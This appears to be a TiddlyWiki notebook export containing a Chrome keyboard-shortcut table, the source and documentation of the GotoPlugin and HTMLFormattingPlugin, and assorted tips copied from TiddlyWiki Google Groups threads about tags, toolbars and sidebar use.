}}}
<html><hide linebreaks>
<table border="0" cellpadding="3" cellspacing="0">
  <tbody>
  <tr>
  <td> <strong>Ctrl+N</strong></td>
  <td> Open a new window </td>

  </tr>
  <tr>
  <td> <strong>Ctrl+Shift+N</strong></td>
  <td> Open a new window in incognito mode</td>
  </tr>
  <tr>
  <td> Press <strong>Ctrl</strong>, and click a link </td>

  <td> Open link in a new tab </td>
  </tr>
  <tr>
  <td> Press <strong>Shift</strong>, and click a link </td>
  <td> Open link in a new window </td>

  </tr>
  <tr>
  <td> <strong>Alt+F4 </strong></td>
  <td> Close current window </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+T</strong></td>

  <td> Open a new tab </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+Shift+T</strong></td>
  <td> Reopen the last tab you've closed. Google Chrome remembers the last 10 tabs you've closed.</td>
  </tr>

  <tr>
  <td> Drag link to tab</td>
  <td> Open link in specified tab </td>
  </tr>
  <tr>
  <td> Drag link to space between tabs </td>

  <td> Open link in a new tab in the specified position on the tab strip </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+1</strong> through <strong>Ctrl+8 </strong></td>
  <td> Switch to the tab at the specified position number. The number you press represents a position on the tab strip. </td>

  </tr>
  <tr>
  <td><strong> Ctrl+9 </strong></td>
  <td> Switch to the last tab </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+Tab</strong> or <strong>Ctrl+PgDown</strong></td>

  <td> Switch to the next tab </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+Shift+Tab </strong>or <strong>Ctrl+PgUp</strong></td>
  <td> Switch to the previous tab </td>

  </tr>
  <tr>
  <td> <strong>Ctrl+W</strong> or <strong>Ctrl+F4</strong></td>
  <td> Close current tab or pop-up </td>
  </tr>

  <tr>
  <td> <strong>Alt+Home</strong></td>
  <td> Open your homepage</td>
  </tr>
  <tr>
  <td> <strong>Ctrl+O</strong>, then select file</td>

  <td> Open a file from your computer in Google Chrome
  </tr>
  </tbody>
</table><h3>Address bar shortcuts</h3>
Do one of the following actions in the address bar:
<table border="0" cellpadding="3" cellspacing="0">
  <tbody>
  <tr>

  <td>Type a search term</td>
  <td> Perform a search using your default search engine </td>
  </tr>
  <tr>
  <td> Type the part of the web address that's between 'www.' and '.com', then press <strong>Ctrl+Enter</strong></td>
  <td> Add www.and .com to your input in the address bar and open the web address </td>

  </tr>
  <tr>
  <td> Type a search engine keyword or URL, press <strong>Tab</strong>, then type a search term</td>
  <td>Perform a search using the search engine associated with the keyword or the URL. Google Chrome prompts you to press <strong>Tab</strong> if it recognizes the search engine you're trying to use. </td>
  </tr>

  <tr>
  <td><strong>F6</strong> or <strong>Ctrl+L</strong> or <strong>Alt+D</strong></td>
  <td>Highlight content in the web address area </td>
  </tr>
  <tr>

  <td>Type a web address, then press <strong>Alt+Enter</strong></td>
  <td>Open your web address in a new tab</td>
  </tr>
  </tbody>
</table>
<h3>Shortcuts to open Google Chrome features</h3>
<table border="0" cellpadding="3" cellspacing="0">
  <tbody>

  <tr>
  <td> <strong>Ctrl+B </strong></td>
  <td> Toggle bookmarks bar on and off </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+H </strong></td>

  <td> View the History page </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+J </strong></td>
  <td> View the Downloads page </td>
  </tr>

  <tr>
  <td> <strong>Shift+Escape </strong></td>
  <td> View the Task manager </td>
  </tr>
  </tbody>
</table>
<h3> Webpage shortcuts</h3>

<table border="0" cellpadding="3" cellspacing="0">
  <tbody>
  <tr>
  <td> <strong>Ctrl+P </strong></td>
  <td> Print your current page </td>
  </tr>
  <tr>

  <td> <strong>F5 </strong></td>
  <td> Reload current page </td>
  </tr>
<tr>
<td><strong>Esc</strong></td>
<td>Stop page loading</td>
</tr>
  <tr>

  <td> <strong>Ctrl+F5</strong> or <strong>Shift+F5 </strong></td>
  <td> Reload current page, ignoring cached content </td>
  </tr>
  <tr>
  <td> Press<strong> Alt</strong>, and click a link </td>

  <td> Download link </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+F </strong></td>
  <td> Open find-in-page box </td>
  </tr>

  <tr>
  <td> <strong>Ctrl+G</strong> or <strong>F3 </strong></td>
  <td> Find next match for your input in the find-in-page box </td>
  </tr>
  <tr>

  <td> <strong>Ctrl+Shift+G</strong> or<strong> Shift+F3 </strong></td>
  <td> Find previous match for your input in the find-in-page box </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+U </strong></td>

  <td> View source </td>
  </tr>
  <tr>
  <td> Drag link to bookmarks bar </td>
  <td> Bookmark the link</td>
  </tr>

  <tr>
  <td> <strong>Ctrl+D </strong></td>
  <td> Bookmark your current webpage </td>
  </tr>
  <tr>
  <td> <strong>Ctrl++ </strong></td>

  <td> Make text larger </td>
  </tr>
  <tr>
  <td> <strong>Ctrl+- </strong></td>
  <td> Make text smaller </td>
  </tr>

  <tr>
  <td> <strong>Ctrl+0 </strong></td>
  <td> Return to normal text size </td>
  </tr>
  </tbody>
</table>
<h3>Text shortcuts</h3>

<table border="0" cellpadding="3" cellspacing="0">
  <tbody>
  <tr>
  <td>Highlight content, then press <strong>Ctrl+C</strong></td>
  <td>Copy content to the clipboard </td>
  </tr>
  <tr>
  <td>Place your cursor in a text field, then press <strong>Ctrl+V</strong> or <strong>Shift+Insert</strong></td>

  <td>Paste current content from the clipboard </td>
  </tr>
  <tr>
  <td>Place your cursor in a text field, then press <strong>Ctrl+Shift+V</strong></td>
  <td>Paste current content from the clipboard without formatting </td>
  </tr>
  <tr>

  <td>Highlight content in a text field, then press <strong>Ctrl+X</strong> or <strong>Shift+Delete</strong></td>
  <td>Delete the content and copy it to the clipboard
</html>
[[Discussion Group|http://groups.google.com/group/TiddlyWiki/topics]]
[[Developers Group|http://groups.google.com/group/TiddlyWikiDev/]] 
[[Sidebar Group|http://groups.google.com/group/sidebarnews]]
/***
|Name|GotoPlugin|
|Source|http://www.TiddlyTools.com/#GotoPlugin|
|Documentation|http://www.TiddlyTools.com/#GotoPluginInfo|
|Version|1.5.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|view any tiddler by entering it's title - displays list of possible matches|
''View a tiddler by typing its title and pressing //enter//.''  As you type, a list of possible matches is displayed.  You can scroll-and-click (or use arrows+enter) to select/view a tiddler, or press //escape// to close the listbox to resume typing.  When the listbox is ''//not//'' being displayed, press //escape// to clear the current text input and start over.
!!!!!Documentation
>see [[GotoPluginInfo]]
!!!!!Revisions
<<<
2008.02.17 [1.5.0] ENTER key always displays tiddler based on current input regardless of whether input matches any existing tiddler
|please see [[GotoPluginInfo]] for additional revision details|
2006.05.05 [0.0.0] started
<<<
!!!!!Code
***/
//{{{
version.extensions.gotoTiddler = {major: 1, minor: 5, revision: 0, date: new Date(200,2,17)};

// automatically tweak shadow SideBarOptions to add <<gotoTiddler>> macro above <<search>>
config.shadowTiddlers.SideBarOptions=config.shadowTiddlers.SideBarOptions.replace(/<<search>>/,"{{button{goto}}}\n<<gotoTiddler>><<search>>");

config.macros.gotoTiddler= { 
	handler:
	function(place,macroName,params) {
		var quiet=(params[0] && params[0]=="quiet"); if (quiet) params.shift();
		var insert=(params[0] && params[0]=="insert"); if (insert) params.shift();
		var instyle=params.shift(); if (!instyle) instyle="";
		var liststyle=params.shift(); if (!liststyle) liststyle="";
		var keyevent=window.event?"onkeydown":"onkeypress";
		createTiddlyElement(place,"span").innerHTML
			=this.html.replace(/%keyevent%/g,keyevent).replace(/%insert%/g,insert).replace(/%quiet%/g,quiet).replace(/%instyle%/g,instyle).replace(/%liststyle%/g,liststyle);
	},

	html:
	'<form onsubmit="return false" style="display:inline;margin:0;padding:0">\
		<input name=gotoTiddler type=text autocomplete="off" accesskey="G" style="%instyle%"\
			value="type tiddler name" title="enter a tiddler title"\
			onclick="this.form.list.style.display=\'none\';"\
			onfocus="this.select(); this.setAttribute(\'accesskey\',\'G\');"\
			%keyevent%="return config.macros.gotoTiddler.inputEscKeyHandler(event,this,this.form.list);"\
			onkeyup="return config.macros.gotoTiddler.inputKeyHandler(event,this,this.form.list,%quiet%,%insert%);">\
		<select name=list style="%liststyle%;display:none;position:absolute"\
			onchange="if (!this.selectedIndex) this.selectedIndex=1;"\
			onblur="this.style.display=\'none\';"\
			%keyevent%="return config.macros.gotoTiddler.selectKeyHandler(event,this,this.form.gotoTiddler,%insert%);"\
			onclick="return config.macros.gotoTiddler.processItem(this.value,this.form.gotoTiddler,this,%insert%);">\
		</select>\
	</form>',

	getItems:
	function(val) {
		if (!this.items.length || val.length<2) { // starting new search, refresh cached list of tiddlers/shadows/tags
			this.items=new Array();
			var tiddlers=store.getTiddlers("title","excludeLists");
			for(var t=0; t<tiddlers.length; t++) this.items.push(tiddlers[t].title);
			for (var t in config.shadowTiddlers) this.items.pushUnique(t);
			var tags=store.getTags();
			for(var t=0; t<tags.length; t++) this.items.pushUnique(tags[t][0]);
		}
		var found = [];
		var match=val.toLowerCase();
		for(var i=0; i<this.items.length; i++)
			if (this.items[i].toLowerCase().indexOf(match)!=-1) found.push(this.items[i]);
		return found;
	},
	items: [], // cached list of tiddlers/shadows/tags

	getItemSuffix:
	function(t) {
		if (store.tiddlerExists(t)) return "";  // tiddler
		if (store.isShadowTiddler(t)) return " (shadow)"; // shadow
		return " (tag)"; // tag 
	},

	keyProcessed:
	function(ev) { // utility function: exits handler and prevents browser from processing the keystroke
		ev.cancelBubble=true; // IE4+
		try{event.keyCode=0;}catch(e){}; // IE5
		if (window.event) ev.returnValue=false; // IE6
		if (ev.preventDefault) ev.preventDefault(); // moz/opera/konqueror
		if (ev.stopPropagation) ev.stopPropagation(); // all
		return false;
	},

	inputEscKeyHandler:
	function(event,here,list) {
		var key=event.keyCode;
		// escape... hide list (2nd esc=clears input)
		if (key==27) {
			if (list.style.display=="none")
				here.value=here.defaultValue;
			list.style.display="none";
			return this.keyProcessed(event);
		}
		return true; // key bubbles up
	},

	inputKeyHandler:
	function(event,here,list,quiet,insert) {
		var key=event.keyCode;
		// non-printing chars... bubble up, except: backspace=8, enter=13, space=32, down=40, delete=46
		if (key<48) switch(key) { case 8: case 13: case 32: case 40: case 46: break; default: return true; }
		// blank input... if down/enter... fall through (list all)... else, and hide list
		if (!here.value.length && !(key==40 || key==13))
			{ list.style.display="none"; return this.keyProcessed(event); }
		// find matching items...
		var found = this.getItems(here.value);
		// non-blank input... enter key... show/create tiddler
		if (key==13) return this.processItem(here.value,here,list,insert);
		// make sure list is shown/hidden
		list.style.display=(!quiet && found.length)?"block":"none";
		// no matches, key bubbles up
		if (!found.length) return true;
		// down key... shows/moves to list...
		if (key==40)  { list.style.display="block"; list.focus(); }
		// finally, if list is showing, fill it with found results...
		if (list.style.display!="none") {
			while (list.length > 0) list.options[0]=null; // clear list
			found.sort(); // alpha by title
			var hdr=this.listHeading.format([found.length,found.length==1?"":"s"]);
			list.options[0]=new Option(hdr,"",false,false);
			for (var t=0; t<found.length; t++)  // fill list...
				list.options[list.length]=new Option(found[t]+this.getItemSuffix(found[t]),found[t],false,false);
			list.size=(found.length<this.listMaxSize?found.length:this.listMaxSize)+1; // resize list...
			list.selectedIndex=(key==40 || key==13)?1:0;
		}
		return true; // key bubbles up
	},
	listMaxSize: 10,
	listHeading: 'Found %0 matching title%1:',

	selectKeyHandler:
	function(event,list,editfield,insert) {
		if (event.keyCode==27) // escape... hide list, move to edit field
			{ editfield.focus(); list.style.display="none"; return this.keyProcessed(event); }
		if (event.keyCode==13 && list.value.length) // enter... view selected item
			{ this.processItem(list.value,editfield,list,insert); return this.keyProcessed(event); }
		return true; // key bubbles up
	},

	processItem:
	function(title,here,list,insert) {
		if (!title.length) return; here.value=title; list.style.display='none';
		if (insert) {
			var tidElem=story.findContainingTiddler(here); if (!tidElem) { here.focus(); return false; }
			var e=story.getTiddlerField(tidElem.getAttribute("tiddler"),"text");
			if (!e||e.getAttribute("edit")!="text") return false;
			var txt=prompt(this.askForText,title); if (!txt||!txt.length) { here.focus(); return false; }
			e.focus(); // put focus on target field before setting selection
			replaceSelection(e,"[["+txt+"|"+title+"]]"); // insert selected tiddler as a PrettyLink
		}
		else
			story.displayTiddler(null,title); // show selected tiddler
		return false;
	},
	askForText: "Enter the text to display for this link"
}
//}}}
/***
|Name|GotoPluginInfo|
|Source|http://www.TiddlyTools.com/#GotoPlugin|
|Documentation|http://www.TiddlyTools.com/#GotoPluginInfo|
|Version|1.5.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|documentation|
|Requires||
|Overrides||
|Description|Documentation for GotoPlugin|
''View a tiddler by typing its title and pressing //enter//.''  As you type, a list of possible matches is displayed.  You can scroll-and-click (or use arrows+enter) to select/view a tiddler, or press //escape// to close the listbox to resume typing.  When the listbox is ''//not//'' being displayed, press //escape// to clear the current text input and start over.
!!!!!Usage/Examples
<<<
| //IMPORTANT NOTE:// ''As of version 1.4.0 (2007.04.25),<br>to avoid conflict with javascript reserved keywords<br>the {{{<<goto>>}}} macro has been renamed to {{{<<gotoTiddler>>}}}'' |
syntax: {{{<<gotoTiddler quiet insert inputstyle liststyle>>}}}
All parameters are optional.
* ''quiet'' prevents //automatic// display of the list as each character is typed.  To view the list when ''quiet'', use //down// or //enter//.
* ''insert'' causes the selected tiddler title to be inserted into the tiddler source currently being edited (use with EditTemplate)
* ''inputstyle'' and ''liststyle'' are CSS declarations that modify the default input and listbox styles.  Note: styles containing spaces must be surrounded by ({{{"..."}}} or {{{'...'}}}) or ({{{[[...]]}}}).
{{{<<gotoTiddler>>}}}
<<gotoTiddler>>
{{{<<gotoTiddler quiet>>}}}
<<gotoTiddler quiet>>
{{{<<goto width:20em width:20em>>}}}
<<gotoTiddler width:20em width:20em>>

You can also invoke the macro with the "insert" keyword.  When used in the [[EditTemplate]], like this:
{{{
<span macro="gotoTiddler insert"></span>
}}}
it allows you to type/select a tiddler title, and instantly insert a link to that title (e.g. {{{[[TiddlerName]]}}}) into the tiddler source being edited.
<<<
!!!!!Configuration
<<<
You can create a tiddler tagged with <<tag systemConfig>> to control the maximum height of the listbox of tiddlers/shadows/tags. //The default values are shown below://
//{{{
config.macros.gotoTiddler.listMaxSize=10;
//}}}
<<<
!!!!!Revisions
<<<
2008.02.17 [1.5.0] ENTER key always displays tiddler based on current input regardless of whether input matches any existing tiddler
2007.10.31 [1.4.3] removed extra trailing comma on last property of config.macros.gotoTiddler object.  This fixes an error under InternetExplorer that was introduced 6 days ago... sure, I should have found it sooner, but... WHY DON'T PEOPLE TELL ME WHEN THINGS ARE BROKEN!!!!
2007.10.25 [1.4.2] added onclick handler for input field, so that clicking in field hides the listbox.
2007.10.25 [1.4.1] re-wrote getItems() to cache list of tiddlers/shadows/tags and use case-folded simple text match instead of regular expression to find matching tiddlers.  This *vastly* reduces processing overhead between keystrokes, especially for documents with many (>1000) tiddlers.  Also, removed local definition of replaceSelection(), now supported directly by the TW2.2+ core, as well as via backward-compatible plugin
2007.04.25 [1.4.0] renamed macro from "goto" to "gotoTiddler".  This was necessary to avoid a fatal syntax error in Opera (and other browsers) that require strict adherence to ECMAScript 1.5 standards which defines the identifier "goto" as "reserved for FUTURE USE"... *sigh*
2007.04.21 [1.3.2] in html definition, removed DIV around droplist (see 1.2.6 below).  It created more layout problems then it solved. :-(
2007.04.01 [1.3.1] in processItem(), ensure that correct textarea field is found by checking for edit=="text" attribute
2007.03.30 [1.3.0] tweak SideBarOptions shadow to automatically add {{{<<goto>>}}} when using default sidebar content
2007.03.30 [1.2.6] in html definition, added DIV around droplist to fix IE problem where list appears next to input field instead of below it.  
2007.03.28 [1.2.5] in processItem(), set focus to text area before setting selection (needed for IE to get correct selection 'range')
2007.03.28 [1.2.4] added prompt for 'pretty text' when inserting a link into tiddler content
2007.03.28 [1.2.3] added local copy of core replaceSelection() and modified for different replace logic
2007.03.27 [1.2.2] in processItem(), use story.getTiddlerField() to retrieve textarea control
2007.03.26 [1.2.1] in html, use either 'onkeydown' (IE) or 'onkeypress' (Moz) event to process <esc> key sooner, to prevent <esc> from 'bubbling up' to the tiddler (which will close the current editor).
2007.03.26 [1.2.0] added support for optional "insert" keyword param. When used in [[EditTemplate]], (e.g. {{{<span macro="goto insert"></span>}}}) it triggers alternative processing: instead of displaying the selected tiddler, that tiddler's title is inserted into a tiddler's textarea edit field surrounded by {{{[[...]]}}}.
2006.05.10 [1.1.2] when filling listbox, set selection to 'heading' item... auto-select first tiddler title when down/enter moves focus into listbox
2006.05.08 [1.1.1] added accesskey ("G") to input field html (also set when field gets focus).  Also, inputKeyHandler() skips non-printing/non-editing keys. 
2006.05.08 [1.1.0] added heading to listbox for better feedback (also avoids problems with 1-line droplist)
2006.05.07 [1.0.0] list matches against tiddlers/shadows/tags.  input field auto-completion... 1st enter=complete matching input (or show list)... 2nd enter=view tiddler.  optional "quiet" param controls when listbox appears.
2006.05.06 [0.5.0] added handling for enter (13), escape(27), and down(40) keys.   Change 'ondblclick' to 'onclick' for list handler to view tiddlers (suggested by Florian Cauvin - prevents unintended trigger of tiddler editor).  shadow titles inserted into list instead of appended to the end.
2006.05.05 [0.0.0] started
<<<
please check:
http://nadigo.com/TWGroupTaskManagement/

This is my Group Task Management based on CCtiddlywiki.
I have been playing around with tiddlywiki to build a task management
system to fit my needs, since i put so many hours in it i thought
maybe others can use it. so here it is (still not finished).

usage:
play around and create tasks and assign it to groups
edit the TagsDB tags tiddler to add more groups

install:
copy all plug-ins, templates ro your own tiddlywiki
a better install script is on the way 

Source: [[Group Task Management - tiddlywiki - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/1fc48db0c94f3f33#]]
/***
|Name|HTMLFormattingPlugin|
|Source|http://www.TiddlyTools.com/#HTMLFormattingPlugin|
|Documentation|http://www.TiddlyTools.com/#HTMLFormattingPluginInfo|
|Version|2.3.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|'HTML' formatter|
|Description|embed wiki syntax formatting inside of HTML content|
The ~HTMLFormatting plugin allows you to ''mix wiki-style formatting syntax within HTML formatted content'' by extending the action of the standard TiddlyWiki formatting handler.
!!!!!Documentation
>see [[HTMLFormattingPluginInfo]]
!!!!!Revisions
<<<
2008.10.02 [2.3.0] added use of {{{<nowiki>}}} marker to bypass all wikification inside a specific HTML block
2008.09.19 [2.2.0] in wikifyTextNodes(), don't wikify the contents of STYLE nodes (thanks to MorrisGray for bug report)
| see [[HTMLFormattingPluginInfo]] for additional revision details |
2005.06.26 [1.0.0] Initial Release (as code adaptation - pre-dates TiddlyWiki plugin architecture!!)
<<<
!!!!!Code
***/
//{{{
version.extensions.HTMLFormattingPlugin= {major: 2, minor: 3, revision: 0, date: new Date(2008,10,2)};

// find the formatter for HTML and replace the handler
initHTMLFormatter();
function initHTMLFormatter()
{
	for (var i=0; i<config.formatters.length && config.formatters[i].name!="html"; i++);
	if (i<config.formatters.length)	config.formatters[i].handler=function(w) {
		if (!this.lookaheadRegExp)  // fixup for TW2.0.x
			this.lookaheadRegExp = new RegExp(this.lookahead,"mg");
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var html=lookaheadMatch[1];
			// if <nowiki> is present, just let browser handle it!
			if (html.indexOf('<nowiki>')!=-1)
				createTiddlyElement(w.output,"span").innerHTML=html;
			else {
				// if <hide linebreaks> is present, suppress wiki-style literal handling of newlines
				if (html.indexOf('<hide linebreaks>')!=-1) html=html.replace(/\n/g,' ');
				// remove all \r's added by IE textarea and mask newlines and macro brackets
				html=html.replace(/\r/g,'').replace(/\n/g,'\\n').replace(/<</g,'%%(').replace(/>>/g,')%%');
				// create span, let browser parse HTML
				var e=createTiddlyElement(w.output,"span"); e.innerHTML=html;
				// then re-render text nodes as wiki-formatted content
				wikifyTextNodes(e);
			}
			w.nextMatch = this.lookaheadRegExp.lastIndex; // continue parsing
		}
	}
}

// wikify #text nodes that remain after HTML content is processed (pre-order recursion)
function wikifyTextNodes(theNode)
{
	function unmask(s) { return s.replace(/\%%\(/g,'<<').replace(/\)\%%/g,'>>').replace(/\\n/g,'\n'); }
	switch (theNode.nodeName.toLowerCase()) {
		case 'style': case 'option': case 'select':
			theNode.innerHTML=unmask(theNode.innerHTML);
			break;
		case 'textarea':
			theNode.value=unmask(theNode.value);
			break;
		case '#text':
			var txt=unmask(theNode.nodeValue);
			var newNode=createTiddlyElement(null,"span");
			theNode.parentNode.replaceChild(newNode,theNode);
			wikify(txt,newNode);
			break;
		default:
			for (var i=0;i<theNode.childNodes.length;i++)
				wikifyTextNodes(theNode.childNodes.item(i)); // recursion
			break;
	}
}
//}}}
!HTMLList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:html-ts order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
[[Hawksworx » Blog Archive » Leveraging jQuery and jQuery plugins in TiddlyWiki|http://www.hawksworx.com/journal/2009/03/13/leveraging-jquery-and-jquery-plugins-in-tiddlywiki/]]
!!!!!<<gradient horiz #fcb #fff>>&nbsp; About: ~TiddlyWiki Version: <<version>>>>

{{headline{[[Warning when snipping from Google Groups!|WarningGoogleGroups]]}}}

----
!!!!!<<gradient horiz #fcb #fff>>&nbsp;~SideSnips Help>>
|>|padding:0em;<<gradient vert #abf #fff>>The Menu>> |
|bgcolor:#fcb;''~SideSnips''|@@color:#c06;Clicking 'menu' near banner toggles menu visible@@|
|bgcolor:#fcb;''« Load'' |@@color:#c06;loads this page into FF sidebar@@|
|bgcolor:#fcb;''~NoTabs'' |@@color:#c06;toggles the tabs to hidden@@|
|bgcolor:#fcb;''Edit'' |@@color:#c06;toggles the toolbars to visible@@|
|bgcolor:#fcb;''View'' |@@color:#c06;all tabs by category@@|
|bgcolor:#fcb;''Tools''|@@color:#c06; for saving-admin-@@|
|bgcolor:#fcb;''Options'' |@@color:#c06; Search titles text tags@@|
|bgcolor:#fcb;''Font Size''|@@color:#c06; (''+ = –'') changes size +/– times 4@@|
!!!!!<<gradient horz #fcb #fff>>&nbsp;Tips  @@color:#C06;''&raquo; &raquo;'' @@ >>
 @@color:#C06;''&raquo; &raquo;'' @@ Both toggles ''Edit'' and ''~NoTabs'' can be set to default to either ''show'' or ''hide'' upon startup; in the SlantedMenu.  Tabs can be put into edit mode by double-clicking on them and can be saved by clicking on the exclamation-mark (!) in the tab itself. See more on editing below.

 @@color:#C06;''&raquo; &raquo;'' @@ When first clicking on a toggle it usually takes a second click to get it into synch. after that one click should suffice per session.

 @@color:#C06;''&raquo; &raquo;'' @@ ''An important note about tabs!'' TiddlersBarPlugin has a default option in it that closes all other tabs if you click on the already 'selected tab'  i.e. (the tab showing the brightest color).If you find this happening and don't want to accidentally close all your open tabs then got to TiddlersBarPlugin and where it says "close all" type in "jump".

 @@color:#C06;''&raquo; &raquo;'' @@ The ideal ''minimum'' width of the sidebar is to narrow it with the tabs showing until the Menu just starts to wrap then relax it back a fraction. The tabs will continue to wrap before the menu does. The ideal ''maximum'' is what makes you happy regardless of how the sidebar feels about how it looks. 

 @@color:#C06;''&raquo; &raquo;'' @@ You can specify what size font you want when you load into the sidebar. Go to the bookmark, right click on it, and in the properties of the bookmark at the end of the URL add ''/#font:size'' with size being anything from 40 to 200. http://sidebarnotes.tiddlyspot.com/#font:40 is the smallest font.

----
''Copying between main wIndow and sidebar''
{{c06{
~Control-C to copy
~Control-V to paste
}}}
''Copy from main window to sidebar''
{{c06{
Highlight in main window: Right-click and copy
Paste in sidebar: ~Control-V
}}}
''Copying from sidebar to main window''
{{c06{
~Control-C to copy
~Control-V to paste Or Right-click and paste
}}}
''Editing''
When editing SideSnips:

Tabs can be put into edit mode by double-clicking on them and can be saved by clicking on the exclamation-mark (!) in the tab itself. See below.

For space and appearance reasons the normal toolbar( jump close close others edit permalink references) and the editing toolbar (done cancel delete) are hidden from view by default.  They can be toggled on and off with the ''Edit'' button on the menu.  When in editing mode the button changes to ''Editing''. (''Note:'' Certain conditions while editing Opening and closing other tabs can cause the toolbar to toggle back off, simply click the button again to restore it.')To change the default to normally ''on'' edit the SlantedMenu.  The code {{{<<toggleToolyBars "" "" hide>>}}} should be changed from ''hide'' to ''show''

 @@color:#C06;''&raquo; &raquo;'' @@ Saving changes via the ''backstage toolbar'' by passes the alert box warning of tiddlers opened for editing. Saving through ''<save changes>'' is preferred.

 @@color:#C06;''&raquo; &raquo;'' @@ If you get an Alert when clicking on a link in the sidebar it is probably trying to load into the main Main Window. In any case it is safest to click cancel and check for unsaved ~TiddlyWikis.  

 @@color:#C06;''&raquo; &raquo;'' @@ You should be consistent where you edit SideSnips.  Whether in the sidebar or main window always save and refresh immediately thereafter.  If you edit in the sidebar and even if you save and refresh probably the next action you perform , say clicking on another page will result in an alert box saying there are unsaved changes. clicking cancel will only result delaying the inevitable.  What it's trying to do is reload in the main window, click OK and let it.

!!!!!<<gradient horiz #fcb #fff>>&nbsp;On Comments>>

The TiddlerNotesPlugin allows you to add notes/comments to tiddlers, without needing to edit the original tiddler. This means that your original content will remain unaltered, and if you update it in the future, you won’t lose your notes. Notes are stored in separate tiddlers, but can be viewed and edited from within the original tiddler.

For a tiddler titled "~MySlide", the notes are by default saved in a tiddler titled "~MySlide-Notes" and is given a tag of "Notes". The suffix and tags of the notes tiddlers are customizable. You can have one or multiple notes per tiddlers. So it is possible to have for example, teacher's notes and student's notes in the same file.

Notes can be configured to start off blank, or pre-filled with the contents of the original tiddler. See more details in TiddlerNotesPlugin. 

!!!!!<<gradient horiz #fcb #fff>>&nbsp;About  hosting Sidebar Notes on ~TiddlySpot>>

''If you wish to have your SideSnips hosted on Tiddlyspot ''
----
 @@color:#C06;''&raquo; &raquo;'' @@ Goto http://tiddlyspot.com and obtain a new ~TiddlyWiki
 @@color:#C06;''&raquo; &raquo;'' @@ Download it and save it in a convenient place
 @@color:#C06;''&raquo; &raquo;'' @@ Open backstage in the copy of SideSnips that you have already downloaded to your hard disk.
 @@color:#C06;''&raquo; &raquo;'' @@ Import the TspotSetupPlugin  ''From'' your ''New ~TiddlyWiki'' ''To'' SideSnips when asked to overwrite it say yes.
 @@color:#C06;''&raquo; &raquo;'' @@ Save and reload

The TW default (shadow) ViewTemplate defines the tiddler toolbar this
way:
---------------
<div class='toolbar' macro='toolbar -closeTiddler closeOthers
+editTiddler permalink references jump'></div>
---------------
When you double-click on a tiddler, it triggers whatever toolbar
command has a "+" prefix.   If no command has a "+", then double-click
does nothing.  Changing "+editTiddler" to just "editTiddler", will
allow you to retain the menu item without the associated double-click
action. 

Source: [[Hide editing features... - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/281b60368aba93be/e5ecb061006bbb46?lnk=gst&q=hide+editing#e5ecb061006bbb46]]
A parameter 'delete' lets you delete the project tiddler as well :
{{{<<deleteAllTagged "delete these actions" delete>>}}}
 - maybe that does it better
regards, kamilla


Source: [[Hide or delete completed actions from a project - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b1b275ec0f006a20/eab089a3a8c13c69?lnk=gst&q=delete+all+tagged#eab089a3a8c13c69]]
You can tag the *tags* to hide them!

For example, to hide the 'systemConfig' tag:

* Create the tiddler named {{{[[systemConfig]]}}} (must exactly match the
desired tag name)
* Tag it with 'excludeLists'

That's it... the 'systemConfig' tag will no longer appears in the
"Tags" sidebar tab (and, of course, the new [[systemConfig]] 'tag
tiddler' will *not* be displayed in the sidebar tiddler lists either) 

Source: [[Hide some "special" tags - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/be2d0e08256a0e6a#]]
Here's a trick:
{{{
{{x{
<<hideWhen ....>>
Stuff here gets hidden conditionally

}}

So theme/plugin:

{{x{
<<hideWhen config.macros.someMacro>>
Stuff here gets hidden conditionally when someMacro exists

}}

{{x{
<<hideWhen config.txtSystemTheme == 'someTheme'>>
Stuff here gets hidden conditionally when a theme is selected

}}
}}}
(I've not tested the above. not sure if config.txtSystemTheme is correct
(look it up first) but the technique should work) 

Source: [[HideWhenPlugin question - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/4bff8f2581c9f08]]
CoreTweaks #610 adds 'tiddler transclusion' to the toolbar syntax.

A toolbar definition is composed of a space-separated list of 'toolbar
command keywords' that are defined by the TW core code, as well as
plugin code that adds extra keywords.  Normally, if you enter an
unknown keyword in the toolbar definition, it is simply ignored.
However, with the #610 tweak installed, an unrecognized keyword is
treated as a tiddler title and, if the tiddler actually exists, it's
content is inserted into the toolbar output, allowing you to use
regular wiki links and macros as 'fake' toolbar commands.

{{{
> !ViewTemplateToolbar
> <div class='toolbar'>
>         <span macro="hideWhenTagged lockedTiddler">
>         <span macro='toolbar editTiddler closeTiddler'></span>
> </div>

You have an unmatched <span>.  It should be:

<div class='toolbar'>
        <span macro="hideWhenTagged lockedTiddler">
        <span macro='toolbar editTiddler closeTiddler'></span>
        </span>
</div>

> not sure what part of Core Tweaks you are referring to.


For example, if you want to add the <<newTiddler>> macro to every
